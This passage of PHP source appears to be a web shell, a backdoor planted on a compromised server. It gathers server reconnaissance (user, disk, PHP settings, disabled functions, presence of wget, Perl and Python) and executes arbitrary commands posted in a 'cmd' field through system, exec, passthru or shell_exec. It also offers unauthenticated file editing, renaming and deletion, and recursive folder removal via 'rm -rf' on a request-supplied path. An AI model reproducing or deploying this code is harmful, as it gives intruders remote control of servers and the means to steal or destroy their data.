name)."(".color(1, 2 , usergroup()->uid).") / ".color(1, 2 , usergroup()->group)."(".color(1, 2 , usergroup()->gid).")";
$output[] = "HDD : ".color(1, 2, hdd()->used)." / ".color(1, 2 , hdd()->size)." (Free: ".color(1, 2 , hdd()->free).")";
$output[] = "PHP Ver : ".color(1, 2, @phpversion());
print implode("
", $output);
}
function serverinfo2(){
$disable_functions = @ini_get('disable_functions');
$disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "NONE");
$output[] = "Safe Mode : ".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF"));
$output[] = "Disable Func: $disable_functions";
$output[] = lib_installed();
$output[] = "Current Dir: (".writeable(path(), perms(path())).") ";
print implode("
", $output);
pwd();
}
function color($bold = 1, $colorid = null, $string = null) {
$color = array(
"", # 0 off
"
", # 1 red
"", # 2 lime
"", # 3 white
"", # 4 gold
);
return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[0];
}
function usergroup() {
if(!function_exists('posix_getegid')) {
$user['name'] = @get_current_user();
$user['uid'] = @getmyuid();
$user['gid'] = @getmygid();
$user['group'] = "?";
} else {
$user['uid'] = @posix_getpwuid(posix_geteuid());
$user['gid'] = @posix_getgrgid(posix_getegid());
$user['name'] = $user['uid']['name'];
$user['uid'] = $user['uid']['uid'];
$user['group'] = $user['gid']['name'];
$user['gid'] = $user['gid']['gid'];
}
return (object) $user;
}
function perms($path) {
$perms = fileperms($path);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
}
elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
}
elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
}
elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
}
elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
}
elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
}
elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
}
else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
function lib_installed() {
$lib[] = "MySQL: ".(function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF"));
$lib[] = "cURL: ".(function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF"));
$lib[] = "WGET: ".(exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
$lib[] = "Perl: ".(exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
$lib[] = "Python: ".(exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
return implode(" | ", $lib);
}
function OS() {
return (substr(strtoupper(PHP_OS), 0, 3) === "WIN") ? "Windows" : "Linux";
}
function path() {
if(isset($_GET['dir'])) {
$dir = str_replace("\\", "/", $_GET['dir']);
@chdir($dir);
} else {
$dir = str_replace("\\", "/", getcwd());
}
return $dir;
}
function disk(){
$dir = explode("/", path());
return $dir[0];
}
function pwd() {
$dir = explode("/", path());
foreach($dir as $key => $index) {
print "$index/";
}
print "
";
print (OS() === "Windows") ? windisk() : "";
}
function windisk() {
$letters = "";
$v = explode("\\", path());
$v = $v[0];
foreach(range("A", "Z") as $letter) {
$bool = $isdiskette = in_array($letter, array("A"));
if(!$bool) $bool = is_dir("$letter:\\");
if($bool) {
$letters .= "[ ";
if($letter.":" != $v) {
$letters .= $letter;
}
else {
$letters .= color(1, 2, $letter);
}
$letters .= " ]";
}
}
if(!empty($letters)) {
print "Detected Drives $letters
";
}
}
function writeable($path, $perms) {
return (!is_writable($path)) ? color(1, 1, $perms) : color(1, 2, $perms);
}
function hddsize($size) {
if($size >= 1073741824)
return sprintf('%1.2f',$size / 1073741824 ).' GB';
elseif($size >= 1048576)
return sprintf('%1.2f',$size / 1048576 ) .' MB';
elseif($size >= 1024)
return sprintf('%1.2f',$size / 1024 ) .' KB';
else
return $size .' B';
}
function hdd() {
if(OS() === "Windows"){
$hdd['size'] = hddsize(disk_total_space(disk()));
$hdd['free'] = hddsize(disk_free_space(disk()));
$hdd['used'] = $hdd['size'] - $hdd['free'];
}else{
$hdd['size'] = hddsize(disk_total_space("/"));
$hdd['free'] = hddsize(disk_free_space("/"));
$hdd['used'] = $hdd['size'] - $hdd['free'];
}
return (object) $hdd;
}
function indexing(){
if(!is_dir(path())) die(color(1, 1, "Directory '".path()."' is not exists."));
if(!is_readable(path())) die(color(1, 1, "Directory '".path()."' not readable."));
print '
Name |
Type |
Size |
Last Modified |
Owner/Group |
Permission |
Action |
';
if(function_exists('opendir')) {
if($opendir = opendir(path())) {
while(($readdir = readdir($opendir)) !== false) {
$dir[] = $readdir;
}
closedir($opendir);
}
sort($dir);
} else {
$dir = scandir(path());
}
foreach($dir as $folder) {
$dirinfo['path'] = path().DIRECTORY_SEPARATOR.$folder;
if(!is_dir($dirinfo['path'])) continue;
$dirinfo['type'] = filetype($dirinfo['path']);
$dirinfo['time'] = date("F d Y g:i:s", filemtime($dirinfo['path']));
$dirinfo['size'] = "-";
$dirinfo['perms'] = writeable($dirinfo['path'], perms($dirinfo['path']));
$dirinfo['link'] = ($folder === ".." ? "$folder" : ($folder === "." ? "$folder" : "$folder"));
$dirinfo['action']= ($folder === '.' || $folder === '..') ? "-" : "class delete";
if(function_exists('posix_getpwuid')) {
$dirinfo['owner'] = (object) @posix_getpwuid(fileowner($dirinfo['path']));
$dirinfo['owner'] = $dirinfo['owner']->name;
} else {
$dirinfo['owner'] = fileowner($dirinfo['path']);
}
if(function_exists('posix_getgrgid')) {
$dirinfo['group'] = (object) @posix_getgrgid(filegroup($dirinfo['path']));
$dirinfo['group'] = $dirinfo['group']->name;
} else {
$dirinfo['group'] = filegroup($dirinfo['path']);
}
print "";
print "perm_media ".$dirinfo['link']." | ";
print "".$dirinfo['type']." | ";
print "".$dirinfo['size']." | ";
print "".$dirinfo['time']." | ";
print "".$dirinfo['owner'].DIRECTORY_SEPARATOR.$dirinfo['group']." | ";
print "".$dirinfo['perms']." | ";
print "".$dirinfo['action']." | ";
print "
";
}
foreach($dir as $files) {
$fileinfo['path'] = path().DIRECTORY_SEPARATOR.$files;
if(!is_file($fileinfo['path'])) continue;
$fileinfo['type'] = filetype($fileinfo['path']);
$fileinfo['time'] = date("F d Y g:i:s", filemtime($fileinfo['path']));
$fileinfo['size'] = filesize($fileinfo['path'])/1024;
$fileinfo['size'] = round($fileinfo['size'],3);
$fileinfo['size'] = ($fileinfo['size'] > 1024) ? round($fileinfo['size']/1024,2). "MB" : $fileinfo['size']. "KB";
$fileinfo['perms']= writeable($fileinfo['path'], perms($fileinfo['path']));
if(function_exists('posix_getpwuid')) {
$fileinfo['owner'] = (object) @posix_getpwuid(fileowner($fileinfo['path']));
$fileinfo['owner'] = $fileinfo['owner']->name;
} else {
$fileinfo['owner'] = fileowner($fileinfo['path']);
}
if(function_exists('posix_getgrgid')) {
$fileinfo['group'] = (object) @posix_getgrgid(filegroup($fileinfo['path']));
$fileinfo['group'] = $fileinfo['group']->name;
} else {
$fileinfo['group'] = filegroup($fileinfo['path']);
}
print "";
print "description $files | ";
print "".$fileinfo['type']." | ";
print "".$fileinfo['size']." | ";
print "".$fileinfo['time']." | ";
print "".$fileinfo['owner'].DIRECTORY_SEPARATOR.$fileinfo['group']." | ";
print "".$fileinfo['perms']." | ";
print "mode_edit class delete play_for_work | ";
print "
";
}
print '
';
}
function content(){
if(isset($_GET['do'])) {
if($_GET['do'] === "cmd") {
if(isset($_POST['cmd'])) {
print "".exe($_POST['cmd'])."
";
}
}
}elseif(isset($_GET['act'])){
if($_GET['act'] === 'newfile') {
if($_POST['save']) {
$filename = htmlspecialchars($_POST['filename']);
$fopen = fopen($filename, "w+");
if($fopen) {
fwrite($fopen, $_POST['content']);
$act = color(1, 2, "Success!") . " - Back";
}
else {
$act = color(1, 1, "Permission Denied!");
}
}
print $act;
if(!$_POST['save']){
print "";
}
}
elseif($_GET['act'] === 'newfolder') {
if($_POST['save']) {
$foldername = path().'/'.htmlspecialchars($_POST['foldername']);
if(!@mkdir($foldername)) {
$act = color(1, 1, "Permission Denied!");
}
else {
$act = "";
}
}
print $act;
print "";
}elseif($_GET['act'] === 'edit') {
if($_POST['save']) {
$save = file_put_contents($_GET['file'], $_POST['src']);
if($save) {
$act = color(1, 2, "File Saved!");
}
else {
$act = color(1, 1, "Permission Denied!");
}
print "$act
";
}
print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]
";
print "[ view ] [ edit ] [ rename ] [ download ] [ delete ]
";
print "";
}elseif($_GET['act'] === 'view') {
print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]
";
print "[ view ] [ edit ] [ rename ] [ download ] [ delete ]
";
print "";
}elseif($_GET['act'] === 'rename') {
if($_POST['save']) {
$rename = rename($_GET['file'], path().DIRECTORY_SEPARATOR.htmlspecialchars($_POST['filename']));
if($rename) {
$act = "";
}
else {
$act = color(1, 1, "Permission Denied!");
}
print "$act
";
}
print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]
";
print "[ view ] [ edit ] [ rename ] [ download ] [ delete ]
";
print "";
}elseif($_GET['act'] === 'rename_folder') {
if($_POST['save']) {
$rename_folder = rename(path(), "".dirname(path()).DIRECTORY_SEPARATOR.htmlspecialchars($_POST['foldername']));
if($rename_folder) {
$act = "";
}
else {
$act = color(1, 1, "Permission Denied!");
}
print "$act
";
}
print "";
}elseif($_GET['act'] === 'delete') {
$delete = unlink($_GET['file']);
if($delete) {
$act = "";
}
else {
$act = color(1, 1, "Permission Denied!");
}
print $act;
}elseif($_GET['act'] === 'delete_folder') {
if(is_dir(path())) {
if(is_writable(path())) {
@rmdir(path());
if(!@rmdir(path()) AND OS() === "Linux") @exe("rm -rf ".path());
if(!@rmdir(path()) AND OS() === "Windows") @exe("rmdir /s /q ".path());
$act = "";
}
else {
$act = color(1, 1, "Could not remove directory '".basename(path())."'");
}
}
print $act;
} elseif($_GET['act'] == 'cmd'){
print "";
}
}else{
indexing();
}
}
?>